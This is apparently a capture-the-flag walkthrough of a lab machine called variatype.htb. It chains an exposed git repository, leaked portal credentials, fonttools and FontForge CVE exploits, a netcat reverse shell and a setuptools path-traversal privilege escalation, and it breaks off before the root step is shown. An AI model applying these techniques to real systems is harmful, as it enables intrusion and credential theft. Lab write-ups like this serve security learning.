A Linux web machine built around font processing tools — leaking source code leads to credentials, and a chain of vulnerabilities in font libraries carries the attack from initial access all the way to root.
Recon
Nmap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ ip=10.129.9.151; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 12:40 -0400 Nmap scan report for 10.129.9.151 Host is up (0.16s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA) |_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519) 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Did not follow redirect to http://variatype.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.65 seconds
Findings:
22/tcp — OpenSSH 9.2p1 on Debian
80/tcp — nginx 1.22.1 redirecting to variatype.htb
Foothold
Hosts File
1
$ echo'10.129.9.151 variatype.htb' | sudotee -a /etc/hosts
The main site is a variable font generator — users can upload a .designspace file and master fonts to produce a variable font output.
Inspecting the browser’s Network tab also reveals the server path in styles.css:
1
/* /var/www/dev.variatype.htb/styles.css */
Use git-dumper to download the exposed repository:
1 2 3 4 5
$ pipx install git-dumper installed package git-dumper 1.0.9, installed using Python 3.13.11 These apps are now globally available - git-dumper done! ✨ 🌟 ✨
1
$ pipx run --spec git-dumper git-dumper http://portal.variatype.htb/.git ./repo
Recovering Hardcoded Credentials
The current state of the repo contains only an empty auth.php. Inspecting the commit history reveals a reverted commit that removed hardcoded credentials:
Log in to the portal with gitbot:G1tB0t_Acc3ss_2025!.
CVE-2025-66034 — fonttools Arbitrary File Write via Malicious .designspace
The portal dashboard shows recent builds from the variable font generator. Researching .designspace file processing leads to CVE-2025-66034, a vulnerability in the fonttools Python library that allows arbitrary file write and RCE when processing a malicious .designspace file.
Following the advisory PoC, first generate valid .ttf source files using setup.py:
if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400)
Then craft the malicious .designspace file. The vulnerability lies in the <labelname> CDATA injection combined with the filename attribute in <variable-font> — we can write arbitrary content to an arbitrary path on the server. Here, we write a PHP reverse shell to the web-accessible files/ directory:
CVE-2024-25082 — FontForge Command Injection via Malicious Filename
Enumerating the server, /opt/process_client_submissions.bak reveals a background script that processes uploaded font archives using /usr/local/src/fontforge/build/bin/fontforge and places results into steve‘s directory.
This version of FontForge is vulnerable to CVE-2024-25082 — a command injection via crafted filenames inside a tar archive. When FontForge processes the archive, it passes filenames directly to a shell, allowing arbitrary command execution.
$ nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.16.27] from (UNKNOWN) [10.129.10.242] 42310 bash: cannot set terminal process group (38631): Inappropriate ioctl for device bash: no job control in this shell steve@variatype:/tmp/ffarchive-38632-1$
Privilege Escalation
CVE-2025-47273 — setuptools Path Traversal via sudo Script
Check steve‘s sudo permissions:
1 2 3 4 5 6 7 8
steve@variatype:/tmp/ffarchive-38632-1$ sudo -l Matching Defaults entries for steve on variatype: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User steve may run the following commands on variatype: (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
install_validator.py downloads a plugin from a given URL and saves it to /opt/font-tools/validators/. Inspecting the script reveals it uses PackageIndex.download from setuptools. Versions below 78.1.1 are vulnerable to CVE-2025-47273 — a path traversal in PackageIndex.download that allows writing the downloaded file to an arbitrary path by URL-encoding a / in the filename portion of the URL.
$ ssh-keygen -t ed25519 -C "your_email@example.com" Generating public/private ed25519 key pair. Enter file inwhich to save the key (/home/kali/.ssh/id_ed25519): Enter passphrase for"/home/kali/.ssh/id_ed25519" (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kali/.ssh/id_ed25519 Your public key has been saved in /home/kali/.ssh/id_ed25519.pub The key fingerprint is: SHA256:mDW4HkXYgGdpFjoavtGiDrQWmkHpH598yrn1e6LpHQQ your_email@example.com The key's randomart image is: +--[ED25519 256]--+ | .o*. | | . ..Bo. | | o. o=.E+ | |o. + . *.. | |.+=.. = S. | |o++++.... | |=o.. +.o . | |+ . = +... | | . =o+.++ | +----[SHA256]-----+
Create the directory structure and write the public key: